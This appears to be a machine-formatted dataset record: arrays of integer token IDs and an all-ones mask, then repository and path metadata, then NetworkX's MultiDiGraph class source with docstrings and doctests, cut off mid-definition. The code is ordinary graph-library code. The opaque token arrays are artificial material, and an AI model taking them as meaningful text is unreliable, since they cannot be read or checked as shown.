63, 1150, 275, 942, 199, 3446, 63, 493, 275, 2125, 199, 78, 1130, 63, 1199, 63, 7909, 63, 894, 275, 756, 199, 4317, 63, 493, 29, 2125, 199, 15306, 1130, 63, 493, 19070, 199, 4467, 3111, 19070, 199, 493, 63, 3124, 275, 378, 199, 14555, 275, 1052, 199, 719, 29, 24, 4587, 199, 2764, 287, 744, 275, 1052, 199, 1095, 63, 694, 275, 747, 14, 515, 14, 3475, 8, 736, 14, 515, 14, 4832, 3460, 493, 8964, 199, 1199, 63, 493, 29, 736, 14, 515, 14, 904, 8, 1095, 63, 694, 4589, 1818, 63, 1199, 531, 199, 793, 63, 493, 29, 736, 14, 515, 14, 904, 8, 1095, 63, 694, 12, 298, 793, 531, 199, 793, 63, 1896, 534, 815, 7, 421, 199, 3009, 63, 1631, 19070, 199, 3009, 63, 493, 19070, 199, 199, 3832, 63, 1896, 275, 499, 421, 198, 3, 378, 26, 11971, 199, 198, 3, 413, 26, 2256, 12, 3293, 199, 198, 3, 499, 26, 7083, 30364, 1817, 199, 198, 3, 650, 26, 3105, 199, 198, 3, 841, 26, 5805, 199, 198, 3, 959, 26, 5805, 199, 199, 3, 961, 365, 370, 2661, 608, 626, 314, 1642, 900, 781, 1255, 12, 6020, 365, 9164, 199, 808, 275, 2197, 14, 2083, 14, 2131, 342, 199, 3136, 275, 2197, 14, 7473, 8, 4515, 29, 21, 9, 199, 2019, 63, 2384, 63, 521, 275, 2388, 446, 5762, 199, 199, 3, 4243, 370, 413, 6925, 199, 1258, 63, 2593, 275, 21771, 383, 9948, 199, 3191, 63, 466, 275, 283, 3694, 7, 199, 199, 3, 4885, 849, 315, 314, 2011, 2082, 199, 13102, 493, 275, 747, 14, 515, 14, 904, 8, 1095, 63, 694, 2584, 1000, 14, 13102, 358, 199, 696, 493, 275, 747, 14, 515, 14, 904, 8, 1095, 63, 694, 2584, 696, 14, 13102, 358, 199, 3, 9599, 402, 2288, 2860, 421, 199, 3, 9101, 1015, 2556, 436, 4458, 199, 318, 1015, 837, 523, 870, 7210, 3606, 8648, 5207, 523, 870, 15733, 14052, 1130, 63, 1000, 3394, 7210, 809, 1507, 435, 2, 2476, 3777, 1204, 2, 523, 870, 15733, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 1204, 2, 523, 870, 15733, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 1204, 2, 523, 870, 15733, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 844, 12, 503, 259, 1204, 2, 523, 870, 15733, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 22456, 1204, 2, 523, 870, 15733, 6208, 420, 1204, 2, 523, 870, 15733, 6529, 26, 598, 285, 16521, 428, 2871, 1810, 5653, 12, 579, 28385, 331, 32, 6799, 14, 957, 14516, 1204, 2, 523, 870, 15733, 20732, 14, 77, 2335, 5561, 14, 957, 14, 285, 2476, 8295, 1204, 2, 523, 870, 7210, 3606, 8648, 5207, 523, 870, 421, 199, 3, 9101, 1720, 2556, 436, 4458, 26, 199, 318, 4503, 837, 523, 870, 7210, 3606, 8648, 5207, 523, 870, 15733, 14052, 1130, 63, 1000, 3394, 7210, 809, 1507, 435, 2, 2476, 3777 ]
[ 1182, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 257, 199, 3, 24842, 1130, 7146, 446, 662, 328, 471, 701, 13870, 262, 644, 1060, 281, 8593, 338, 2207, 456, 680, 31534, 1183, 5313, 701, 428, 2871, 1810, 5653, 598, 285, 16521, 199, 3, 4236, 903, 279, 1898, 436, 4190, 334, 12409, 5084, 9, 12966, 14, 221, 199, 3, 199, 3, 961, 365, 314, 1654, 1233, 370, 506, 1202, 315, 22888, 543, 10195, 15293, 12, 282, 1048, 5561, 269, 1905, 1854, 221, 199, 3, 24928, 8744, 14, 221, 199, 3, 199, 3, 199, 3, 24842, 1130, 3394, 22016, 26, 1275, 22, 199, 3, 1898, 334, 35, 9, 8937, 221, 428, 2871, 1810, 5653, 598, 285, 16521, 199, 3, 199, 3, 221, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 221, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 221, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 844, 12, 503, 199, 3, 221, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 221, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 221, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 221, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 221, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 221, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 221, 3180, 543, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 221, 2752, 12, 3277, 2020, 8155, 15630, 10902, 12, 14453, 13540, 12, 8226, 12, 4828, 221, 15673, 13, 13421, 221, 8217, 199, 3, 199, 3, 199, 3, 6529, 26, 199, 3, 428, 2871, 1810, 5653, 598, 285, 16521, 579, 28385, 331, 32, 6799, 14, 957, 199, 3, 199, 3, 21311, 641, 1233, 687, 17078, 7251, 14, 199, 3, 1898, 334, 67, 9, 17078, 8449, 26640, 14, 199, 3, 199, 199, 646, 2050, 199, 646, 2050, 14, 5586, 199, 646, 2197, 199, 646, 11723, 19, 199, 646, 747, 199, 646, 2748, 14, 9464, 14, 15325, 465, 12265, 199, 199, 893, 26, 199, 198, 504, 7390, 14, 4901, 14, 3922, 492, 23616, 12, 11557, 199, 198, 504, 7390, 14, 4901, 492, 6149, 12, 9655, 12, 2120, 199, 198, 504, 7390, 14, 1548, 492, 943, 199, 198, 504, 7390, 14, 1548, 14, 12804, 492, 577, 17550, 19336, 199, 2590, 26, 199, 198, 1361, 283, 5556, 1929, 7390, 3555, 14, 20932, 13, 362, 3907, 2366, 13, 12145, 13, 1393, 2366, 13, 12145, 13, 1018, 7, 199, 198, 2224, 2801, 17, 9, 199, 199, 646, 12733, 12, 984, 12, 900, 12, 747, 199, 893, 26, 199, 198, 504, 14296, 492, 7799, 199, 2590, 26, 199, 198, 1361, 283, 5556, 1929, 2366, 1551, 4266, 3555, 14, 20932, 13, 362, 3907, 2366, 13, 14837, 7, 199, 198, 2224, 2801, 17, 9, 4388, 199, 3, 13641, 2860, 199, 422, 1507, 534, 16, 14, 22, 7, 199, 78, 1130, 63, 4405, 63, 493, 275, 2125, 199, 78, 1130, 63, 1531, 275, 942, 199, 78, 1130, 63, 4405, 63, 1150, 275, 942, 199, 3446, 63, 493, 275, 2125, 199, 78, 1130, 63, 1199, 63, 7909, 63, 894, 275, 756, 199, 4317, 63, 493, 29, 2125, 199, 15306, 1130, 63, 493, 19070, 199, 4467, 3111, 19070, 199, 493, 63, 3124, 275, 378, 199, 14555, 275, 1052, 199, 719, 29, 24, 4587, 199, 2764, 287, 744, 275, 1052, 199, 1095, 63, 694, 275, 747, 14, 515, 14, 3475, 8, 736, 14, 515, 14, 4832, 3460, 493, 8964, 199, 1199, 63, 493, 29, 736, 14, 515, 14, 904, 8, 1095, 63, 694, 4589, 1818, 63, 1199, 531, 199, 793, 63, 493, 29, 736, 14, 515, 14, 904, 8, 1095, 63, 694, 12, 298, 793, 531, 199, 793, 63, 1896, 534, 815, 7, 421, 199, 3009, 63, 1631, 19070, 199, 3009, 63, 493, 19070, 199, 199, 3832, 63, 1896, 275, 499, 421, 198, 3, 378, 26, 11971, 199, 198, 3, 413, 26, 2256, 12, 3293, 199, 198, 3, 499, 26, 7083, 30364, 1817, 199, 198, 3, 650, 26, 3105, 199, 198, 3, 841, 26, 5805, 199, 198, 3, 959, 26, 5805, 199, 199, 3, 961, 365, 370, 2661, 608, 626, 314, 1642, 900, 781, 1255, 12, 6020, 365, 9164, 199, 808, 275, 2197, 14, 2083, 14, 2131, 342, 199, 3136, 275, 2197, 14, 7473, 8, 4515, 29, 21, 9, 199, 2019, 63, 2384, 63, 521, 275, 2388, 446, 5762, 199, 199, 3, 4243, 370, 413, 6925, 199, 1258, 63, 2593, 275, 21771, 383, 9948, 199, 3191, 63, 466, 275, 283, 3694, 7, 199, 199, 3, 4885, 849, 315, 314, 2011, 2082, 199, 13102, 493, 275, 747, 14, 515, 14, 904, 8, 1095, 63, 694, 2584, 1000, 14, 13102, 358, 199, 696, 493, 275, 747, 14, 515, 14, 904, 8, 1095, 63, 694, 2584, 696, 14, 13102, 358, 199, 3, 9599, 402, 2288, 2860, 421, 199, 3, 9101, 1015, 2556, 436, 4458, 199, 318, 1015, 837, 523, 870, 7210, 3606, 8648, 5207, 523, 870, 15733, 14052, 1130, 63, 1000, 3394, 7210, 809, 1507, 435, 2, 2476, 3777, 1204, 2, 523, 870, 15733, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 1204, 2, 523, 870, 15733, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 1204, 2, 523, 870, 15733, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 844, 12, 503, 259, 1204, 2, 523, 870, 15733, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 22456, 1204, 2, 523, 870, 15733, 6208, 420, 1204, 2, 523, 870, 15733, 6529, 26, 598, 285, 16521, 428, 2871, 1810, 5653, 12, 579, 28385, 331, 32, 6799, 14, 957, 14516, 1204, 2, 523, 870, 15733, 20732, 14, 77, 2335, 5561, 14, 957, 14, 285, 2476, 8295, 1204, 2, 523, 870, 7210, 3606, 8648, 5207, 523, 870, 421, 199, 3, 9101, 1720, 2556, 436, 4458, 26, 199, 318, 4503, 837, 523, 870, 7210, 3606, 8648, 5207, 523, 870, 15733, 14052, 1130, 63, 1000, 3394, 7210, 809, 1507, 435, 2, 2476, 3777, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
JFriel/honours_project
networkx/networkx/classes/multidigraph.py
10
33433
"""Base class for MultiDiGraph.""" # Copyright (C) 2004-2015 by # Aric Hagberg <hagberg@lanl.gov> # Dan Schult <dschult@colgate.edu> # Pieter Swart <swart@lanl.gov> # All rights reserved. # BSD license. from copy import deepcopy import networkx as nx from networkx.classes.graph import Graph # for doctests from networkx.classes.digraph import DiGraph from networkx.classes.multigraph import MultiGraph from networkx.exception import NetworkXError __author__ = """\n""".join(['Aric Hagberg (hagberg@lanl.gov)', 'Pieter Swart (swart@lanl.gov)', 'Dan Schult(dschult@colgate.edu)']) class MultiDiGraph(MultiGraph,DiGraph): """A directed graph class that can store multiedges. Multiedges are multiple edges between two nodes. Each edge can hold optional data or attributes. A MultiDiGraph holds directed edges. Self loops are allowed. Nodes can be arbitrary (hashable) Python objects with optional key/value attributes. Edges are represented as links between nodes with optional key/value attributes. Parameters ---------- data : input graph Data to initialize graph. If data=None (default) an empty graph is created. The data can be an edge list, or any NetworkX graph object. If the corresponding optional Python packages are installed the data can also be a NumPy matrix or 2d ndarray, a SciPy sparse matrix, or a PyGraphviz graph. attr : keyword arguments, optional (default= no attributes) Attributes to add to graph as key=value pairs. See Also -------- Graph DiGraph MultiGraph Examples -------- Create an empty graph structure (a "null graph") with no nodes and no edges. >>> G = nx.MultiDiGraph() G can be grown in several ways. **Nodes:** Add one node at a time: >>> G.add_node(1) Add the nodes from any container (a list, dict, set or even the lines from a file or the nodes from another graph). >>> G.add_nodes_from([2,3]) >>> G.add_nodes_from(range(100,110)) >>> H=nx.Graph() >>> H.add_path([0,1,2,3,4,5,6,7,8,9]) >>> G.add_nodes_from(H) In addition to strings and integers any hashable Python object (except None) can represent a node, e.g. a customized node object, or even another Graph. >>> G.add_node(H) **Edges:** G can also be grown by adding edges. Add one edge, >>> G.add_edge(1, 2) a list of edges, >>> G.add_edges_from([(1,2),(1,3)]) or a collection of edges, >>> G.add_edges_from(H.edges()) If some edges connect nodes not yet in the graph, the nodes are added automatically. If an edge already exists, an additional edge is created and stored using a key to identify the edge. By default the key is the lowest unused integer. >>> G.add_edges_from([(4,5,dict(route=282)), (4,5,dict(route=37))]) >>> G[4] {5: {0: {}, 1: {'route': 282}, 2: {'route': 37}}} **Attributes:** Each graph, node, and edge can hold key/value attribute pairs in an associated attribute dictionary (the keys must be hashable). By default these are empty, but can be added or changed using add_edge, add_node or direct manipulation of the attribute dictionaries named graph, node and edge respectively. >>> G = nx.MultiDiGraph(day="Friday") >>> G.graph {'day': 'Friday'} Add node attributes using add_node(), add_nodes_from() or G.node >>> G.add_node(1, time='5pm') >>> G.add_nodes_from([3], time='2pm') >>> G.node[1] {'time': '5pm'} >>> G.node[1]['room'] = 714 >>> del G.node[1]['room'] # remove attribute >>> G.nodes(data=True) [(1, {'time': '5pm'}), (3, {'time': '2pm'})] Warning: adding a node to G.node does not add it to the graph. Add edge attributes using add_edge(), add_edges_from(), subscript notation, or G.edge. >>> G.add_edge(1, 2, weight=4.7 ) >>> G.add_edges_from([(3,4),(4,5)], color='red') >>> G.add_edges_from([(1,2,{'color':'blue'}), (2,3,{'weight':8})]) >>> G[1][2][0]['weight'] = 4.7 >>> G.edge[1][2][0]['weight'] = 4 **Shortcuts:** Many common graph features allow python syntax to speed reporting. >>> 1 in G # check if node in graph True >>> [n for n in G if n<3] # iterate through nodes [1, 2] >>> len(G) # number of nodes in graph 5 >>> G[1] # adjacency dict keyed by neighbor to edge attributes ... # Note: you should not change this dict manually! {2: {0: {'weight': 4}, 1: {'color': 'blue'}}} The fastest way to traverse all edges of a graph is via adjacency_iter(), but the edges() method is often more convenient. >>> for n,nbrsdict in G.adjacency_iter(): ... for nbr,keydict in nbrsdict.items(): ... for key,eattr in keydict.items(): ... if 'weight' in eattr: ... (n,nbr,eattr['weight']) (1, 2, 4) (2, 3, 8) >>> G.edges(data='weight') [(1, 2, 4), (1, 2, None), (2, 3, 8), (3, 4, None), (4, 5, None)] **Reporting:** Simple graph information is obtained using methods. Iterator versions of many reporting methods exist for efficiency. Methods exist for reporting nodes(), edges(), neighbors() and degree() as well as the number of nodes and edges. For details on these and other miscellaneous methods, see below. **Subclasses (Advanced):** The MultiDiGraph class uses a dict-of-dict-of-dict-of-dict structure. The outer dict (node_dict) holds adjacency lists keyed by node. The next dict (adjlist) represents the adjacency list and holds edge_key dicts keyed by neighbor. The edge_key dict holds each edge_attr dict keyed by edge key. The inner dict (edge_attr) represents the edge data and holds edge attribute values keyed by attribute names. Each of these four dicts in the dict-of-dict-of-dict-of-dict structure can be replaced by a user defined dict-like object. In general, the dict-like features should be maintained but extra features can be added. To replace one of the dicts create a new graph class by changing the class(!) variable holding the factory for that dict-like structure. The variable names are node_dict_factory, adjlist_dict_factory, edge_key_dict_factory and edge_attr_dict_factory. node_dict_factory : function, (default: dict) Factory function to be used to create the outer-most dict in the data structure that holds adjacency lists keyed by node. It should require no arguments and return a dict-like object. adjlist_dict_factory : function, (default: dict) Factory function to be used to create the adjacency list dict which holds multiedge key dicts keyed by neighbor. It should require no arguments and return a dict-like object. edge_key_dict_factory : function, (default: dict) Factory function to be used to create the edge key dict which holds edge data keyed by edge key. It should require no arguments and return a dict-like object. edge_attr_dict_factory : function, (default: dict) Factory function to be used to create the edge attribute dict which holds attrbute values keyed by attribute name. It should require no arguments and return a dict-like object. Examples -------- Create a multigraph object that tracks the order nodes are added. >>> from collections import OrderedDict >>> class OrderedGraph(nx.MultiDiGraph): ... node_dict_factory = OrderedDict >>> G = OrderedGraph() >>> G.add_nodes_from( (2,1) ) >>> G.nodes() [2, 1] >>> G.add_edges_from( ((2,2), (2,1), (2,1), (1,1)) ) >>> G.edges() [(2, 1), (2, 1), (2, 2), (1, 1)] Create a multdigraph object that tracks the order nodes are added and for each node track the order that neighbors are added and for each neighbor tracks the order that multiedges are added. >>> class OrderedGraph(nx.MultiDiGraph): ... node_dict_factory = OrderedDict ... adjlist_dict_factory = OrderedDict ... edge_key_dict_factory = OrderedDict >>> G = OrderedGraph() >>> G.add_nodes_from( (2,1) ) >>> G.nodes() [2, 1] >>> G.add_edges_from( ((2,2), (2,1,2,{'weight':0.1}), (2,1,1,{'weight':0.2}), (1,1)) ) >>> G.edges(keys=True) [(2, 2, 0), (2, 1, 2), (2, 1, 1), (1, 1, 0)] """ # node_dict_factory=dict # already assigned in Graph # adjlist_dict_factory=dict edge_key_dict_factory = dict # edge_attr_dict_factory=dict def __init__(self, data=None, **attr): self.edge_key_dict_factory = self.edge_key_dict_factory DiGraph.__init__(self, data, **attr) def add_edge(self, u, v, key=None, attr_dict=None, **attr): """Add an edge between u and v. The nodes u and v will be automatically added if they are not already in the graph. Edge attributes can be specified with keywords or by providing a dictionary with key/value pairs. See examples below. Parameters ---------- u, v : nodes Nodes can be, for example, strings or numbers. Nodes must be hashable (and not None) Python objects. key : hashable identifier, optional (default=lowest unused integer) Used to distinguish multiedges between a pair of nodes. attr_dict : dictionary, optional (default= no attributes) Dictionary of edge attributes. Key/value pairs will update existing data associated with the edge. attr : keyword arguments, optional Edge data (or labels or objects) can be assigned using keyword arguments. See Also -------- add_edges_from : add a collection of edges Notes ----- To replace/update edge data, use the optional key argument to identify a unique edge. Otherwise a new edge will be created. NetworkX algorithms designed for weighted graphs cannot use multigraphs directly because it is not clear how to handle multiedge weights. Convert to Graph using edge attribute 'weight' to enable weighted graph algorithms. Examples -------- The following all add the edge e=(1,2) to graph G: >>> G = nx.MultiDiGraph() >>> e = (1,2) >>> G.add_edge(1, 2) # explicit two-node form >>> G.add_edge(*e) # single edge as tuple of two nodes >>> G.add_edges_from( [(1,2)] ) # add edges from iterable container Associate data to edges using keywords: >>> G.add_edge(1, 2, weight=3) >>> G.add_edge(1, 2, key=0, weight=4) # update data for key=0 >>> G.add_edge(1, 3, weight=7, capacity=15, length=342.7) """ # set up attribute dict if attr_dict is None: attr_dict = attr else: try: attr_dict.update(attr) except AttributeError: raise NetworkXError( "The attr_dict argument must be a dictionary.") # add nodes if u not in self.succ: self.succ[u] = self.adjlist_dict_factory() self.pred[u] = self.adjlist_dict_factory() self.node[u] = {} if v not in self.succ: self.succ[v] = self.adjlist_dict_factory() self.pred[v] = self.adjlist_dict_factory() self.node[v] = {} if v in self.succ[u]: keydict = self.adj[u][v] if key is None: # find a unique integer key # other methods might be better here? key = len(keydict) while key in keydict: key += 1 datadict = keydict.get(key, self.edge_key_dict_factory()) datadict.update(attr_dict) keydict[key] = datadict else: # selfloops work this way without special treatment if key is None: key = 0 datadict = self.edge_attr_dict_factory() datadict.update(attr_dict) keydict = self.edge_key_dict_factory() keydict[key] = datadict self.succ[u][v] = keydict self.pred[v][u] = keydict def remove_edge(self, u, v, key=None): """Remove an edge between u and v. Parameters ---------- u, v : nodes Remove an edge between nodes u and v. key : hashable identifier, optional (default=None) Used to distinguish multiple edges between a pair of nodes. If None remove a single (abritrary) edge between u and v. Raises ------ NetworkXError If there is not an edge between u and v, or if there is no edge with the specified key. See Also -------- remove_edges_from : remove a collection of edges Examples -------- >>> G = nx.MultiDiGraph() >>> G.add_path([0,1,2,3]) >>> G.remove_edge(0,1) >>> e = (1,2) >>> G.remove_edge(*e) # unpacks e from an edge tuple For multiple edges >>> G = nx.MultiDiGraph() >>> G.add_edges_from([(1,2),(1,2),(1,2)]) >>> G.remove_edge(1,2) # remove a single (arbitrary) edge For edges with keys >>> G = nx.MultiDiGraph() >>> G.add_edge(1,2,key='first') >>> G.add_edge(1,2,key='second') >>> G.remove_edge(1,2,key='second') """ try: d = self.adj[u][v] except (KeyError): raise NetworkXError( "The edge %s-%s is not in the graph." % (u, v)) # remove the edge with specified data if key is None: d.popitem() else: try: del d[key] except (KeyError): raise NetworkXError( "The edge %s-%s with key %s is not in the graph." % (u, v, key)) if len(d) == 0: # remove the key entries if last edge del self.succ[u][v] del self.pred[v][u] def edges_iter(self, nbunch=None, data=False, keys=False, default=None): """Return an iterator over the edges. Edges are returned as tuples with optional data and keys in the order (node, neighbor, key, data). Parameters ---------- nbunch : iterable container, optional (default= all nodes) A container of nodes. The container will be iterated through once. data : string or bool, optional (default=False) The edge attribute returned in 3-tuple (u,v,ddict[data]). If True, return edge attribute dict in 3-tuple (u,v,ddict). If False, return 2-tuple (u,v). keys : bool, optional (default=False) If True, return edge keys with each edge. default : value, optional (default=None) Value used for edges that dont have the requested attribute. Only relevant if data is not True or False. Returns ------- edge_iter : iterator An iterator of (u,v), (u,v,d) or (u,v,key,d) tuples of edges. See Also -------- edges : return a list of edges Notes ----- Nodes in nbunch that are not in the graph will be (quietly) ignored. For directed graphs this returns the out-edges. Examples -------- >>> G = nx.MultiDiGraph() >>> G.add_path([0,1,2]) >>> G.add_edge(2,3,weight=5) >>> [e for e in G.edges_iter()] [(0, 1), (1, 2), (2, 3)] >>> list(G.edges_iter(data=True)) # default data is {} (empty dict) [(0, 1, {}), (1, 2, {}), (2, 3, {'weight': 5})] >>> list(G.edges_iter(data='weight', default=1)) [(0, 1, 1), (1, 2, 1), (2, 3, 5)] >>> list(G.edges(keys=True)) # default keys are integers [(0, 1, 0), (1, 2, 0), (2, 3, 0)] >>> list(G.edges(data=True,keys=True)) # default keys are integers [(0, 1, 0, {}), (1, 2, 0, {}), (2, 3, 0, {'weight': 5})] >>> list(G.edges(data='weight',default=1,keys=True)) [(0, 1, 0, 1), (1, 2, 0, 1), (2, 3, 0, 5)] >>> list(G.edges_iter([0,2])) [(0, 1), (2, 3)] >>> list(G.edges_iter(0)) [(0, 1)] """ if nbunch is None: nodes_nbrs = self.adj.items() else: nodes_nbrs = ((n, self.adj[n]) for n in self.nbunch_iter(nbunch)) if data is True: for n, nbrs in nodes_nbrs: for nbr, keydict in nbrs.items(): for key, ddict in keydict.items(): yield (n, nbr, key, ddict) if keys else (n, nbr, ddict) elif data is not False: for n, nbrs in nodes_nbrs: for nbr, keydict in nbrs.items(): for key, ddict in keydict.items(): d = ddict[data] if data in ddict else default yield (n, nbr, key, d) if keys else (n, nbr, d) else: for n, nbrs in nodes_nbrs: for nbr, keydict in nbrs.items(): for key in keydict: yield (n, nbr, key) if keys else (n, nbr) # alias out_edges to edges out_edges_iter = edges_iter def out_edges(self, nbunch=None, keys=False, data=False): """Return a list of the outgoing edges. Edges are returned as tuples with optional data and keys in the order (node, neighbor, key, data). Parameters ---------- nbunch : iterable container, optional (default= all nodes) A container of nodes. The container will be iterated through once. data : bool, optional (default=False) If True, return edge attribute dict with each edge. keys : bool, optional (default=False) If True, return edge keys with each edge. Returns ------- out_edges : list An listr of (u,v), (u,v,d) or (u,v,key,d) tuples of edges. Notes ----- Nodes in nbunch that are not in the graph will be (quietly) ignored. For directed graphs edges() is the same as out_edges(). See Also -------- in_edges: return a list of incoming edges """ return list(self.out_edges_iter(nbunch, keys=keys, data=data)) def in_edges_iter(self, nbunch=None, data=False, keys=False): """Return an iterator over the incoming edges. Parameters ---------- nbunch : iterable container, optional (default= all nodes) A container of nodes. The container will be iterated through once. data : bool, optional (default=False) If True, return edge attribute dict with each edge. keys : bool, optional (default=False) If True, return edge keys with each edge. Returns ------- in_edge_iter : iterator An iterator of (u,v), (u,v,d) or (u,v,key,d) tuples of edges. See Also -------- edges_iter : return an iterator of edges """ if nbunch is None: nodes_nbrs = self.pred.items() else: nodes_nbrs = ((n, self.pred[n]) for n in self.nbunch_iter(nbunch)) if data: for n, nbrs in nodes_nbrs: for nbr, keydict in nbrs.items(): for key, data in keydict.items(): if keys: yield (nbr, n, key, data) else: yield (nbr, n, data) else: for n, nbrs in nodes_nbrs: for nbr, keydict in nbrs.items(): for key, data in keydict.items(): if keys: yield (nbr, n, key) else: yield (nbr, n) def in_edges(self, nbunch=None, keys=False, data=False): """Return a list of the incoming edges. Parameters ---------- nbunch : iterable container, optional (default= all nodes) A container of nodes. The container will be iterated through once. data : bool, optional (default=False) If True, return edge attribute dict with each edge. keys : bool, optional (default=False) If True, return edge keys with each edge. Returns ------- in_edges : list A list of (u,v), (u,v,d) or (u,v,key,d) tuples of edges. See Also -------- out_edges: return a list of outgoing edges """ return list(self.in_edges_iter(nbunch, keys=keys, data=data)) def degree_iter(self, nbunch=None, weight=None): """Return an iterator for (node, degree). The node degree is the number of edges adjacent to the node. Parameters ---------- nbunch : iterable container, optional (default=all nodes) A container of nodes. The container will be iterated through once. weight : string or None, optional (default=None) The edge attribute that holds the numerical value used as a weight. If None, then each edge has weight 1. The degree is the sum of the edge weights. Returns ------- nd_iter : an iterator The iterator returns two-tuples of (node, degree). See Also -------- degree Examples -------- >>> G = nx.MultiDiGraph() >>> G.add_path([0,1,2,3]) >>> list(G.degree_iter(0)) # node 0 with degree 1 [(0, 1)] >>> list(G.degree_iter([0,1])) [(0, 1), (1, 2)] """ if nbunch is None: nodes_nbrs = ( (n, succ, self.pred[n]) for n,succ in self.succ.items() ) else: nodes_nbrs = ( (n, self.succ[n], self.pred[n]) for n in self.nbunch_iter(nbunch)) if weight is None: for n, succ, pred in nodes_nbrs: indeg = sum([len(data) for data in pred.values()]) outdeg = sum([len(data) for data in succ.values()]) yield (n, indeg + outdeg) else: # edge weighted graph - degree is sum of nbr edge weights for n, succ, pred in nodes_nbrs: deg = sum([d.get(weight, 1) for data in pred.values() for d in data.values()]) deg += sum([d.get(weight, 1) for data in succ.values() for d in data.values()]) yield (n, deg) def in_degree_iter(self, nbunch=None, weight=None): """Return an iterator for (node, in-degree). The node in-degree is the number of edges pointing in to the node. Parameters ---------- nbunch : iterable container, optional (default=all nodes) A container of nodes. The container will be iterated through once. weight : string or None, optional (default=None) The edge attribute that holds the numerical value used as a weight. If None, then each edge has weight 1. The degree is the sum of the edge weights adjacent to the node. Returns ------- nd_iter : an iterator The iterator returns two-tuples of (node, in-degree). See Also -------- degree, in_degree, out_degree, out_degree_iter Examples -------- >>> G = nx.MultiDiGraph() >>> G.add_path([0,1,2,3]) >>> list(G.in_degree_iter(0)) # node 0 with degree 0 [(0, 0)] >>> list(G.in_degree_iter([0,1])) [(0, 0), (1, 1)] """ if nbunch is None: nodes_nbrs = self.pred.items() else: nodes_nbrs = ((n, self.pred[n]) for n in self.nbunch_iter(nbunch)) if weight is None: for n, nbrs in nodes_nbrs: yield (n, sum([len(data) for data in nbrs.values()])) else: # edge weighted graph - degree is sum of nbr edge weights for n, pred in nodes_nbrs: deg = sum([d.get(weight, 1) for data in pred.values() for d in data.values()]) yield (n, deg) def out_degree_iter(self, nbunch=None, weight=None): """Return an iterator for (node, out-degree). The node out-degree is the number of edges pointing out of the node. Parameters ---------- nbunch : iterable container, optional (default=all nodes) A container of nodes. The container will be iterated through once. weight : string or None, optional (default=None) The edge attribute that holds the numerical value used as a weight. If None, then each edge has weight 1. The degree is the sum of the edge weights. Returns ------- nd_iter : an iterator The iterator returns two-tuples of (node, out-degree). See Also -------- degree, in_degree, out_degree, in_degree_iter Examples -------- >>> G = nx.MultiDiGraph() >>> G.add_path([0,1,2,3]) >>> list(G.out_degree_iter(0)) # node 0 with degree 1 [(0, 1)] >>> list(G.out_degree_iter([0,1])) [(0, 1), (1, 1)] """ if nbunch is None: nodes_nbrs = self.succ.items() else: nodes_nbrs = ((n, self.succ[n]) for n in self.nbunch_iter(nbunch)) if weight is None: for n, nbrs in nodes_nbrs: yield (n, sum([len(data) for data in nbrs.values()])) else: for n, succ in nodes_nbrs: deg = sum([d.get(weight, 1) for data in succ.values() for d in data.values()]) yield (n, deg) def is_multigraph(self): """Return True if graph is a multigraph, False otherwise.""" return True def is_directed(self): """Return True if graph is directed, False otherwise.""" return True def 